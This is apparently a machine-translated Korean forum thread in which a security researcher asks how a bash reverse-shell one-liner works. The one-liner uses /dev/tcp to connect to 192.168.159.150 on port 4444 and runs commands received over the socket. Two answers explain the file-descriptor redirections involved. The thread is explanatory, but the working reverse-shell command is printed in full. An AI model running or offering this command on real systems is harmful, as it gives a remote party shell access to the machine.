이 명령 리디렉션은 어떻게 작동하나요?

이 명령 리디렉션은 어떻게 작동하나요?

보안 조사를 하고 있는데 다음 코드 조각이 Unix 기반 OS에서 어떻게 작동하는지 궁금합니다.

exec 5<>/dev/tcp/192.168.159.150/4444; cat <&5 | while read line; do \$line 2>&5 >&5; echo -n \$(pwd)'# ' >&5; done

나는 완전히 알고 있다무엇이 코드는 수행하지만(예: 포트 4444를 통해 192.168.159.150에 대한 역방향 쉘 설정) 다음 섹션이 수행하는 작업을 이해하지 못합니다.

  • exec 5<>
  • cat <&5
  • 2>&5 >&5

그리고 일반적으로 이것이 제가 보는 껍질을 만들기 위해 어떻게 결합되는지를 보여줍니다.

누구든지 이것을 설명하는 데 도움을 주거나 이것을 이해하는 데 올바른 방향을 알려줄 수 있습니까?

감사해요

답변1

빠른 요약:

exec 5<>읽기 및 쓰기를 위해 새 파일 핸들을 열고 이름을 지정합니다.5

cat <&5새로 열린 파일 핸들을 읽고 있습니다.

2>&5 >&52파일 핸들 (stderr)과 파일 핸들 1(stdout) 의 출력을 파일 핸들로 리디렉션합니다 5. 이 1경우에는 두 번째 리디렉션에서 파일 핸들 번호가 제공되지 않았기 때문에 암시됩니다.

답변2

귀하의 질문 중 일부에 대한 답변이 제공됩니다.여기

하지만

  1. 이는 숫자 5로 새 파일 설명자를 정의합니다. BTW 0은 STDIN, 1은 STDOUT, 2는 STDERR 파일 설명자입니다.
  2. TCP, IP 192.168.159.150, 포트 4444를 통해 수신된 정보를 에코합니다.
  3. STDERR 및 STDOUT을 파일 핸들러 5(예: 네트워크)로 보냅니다.

관련 정보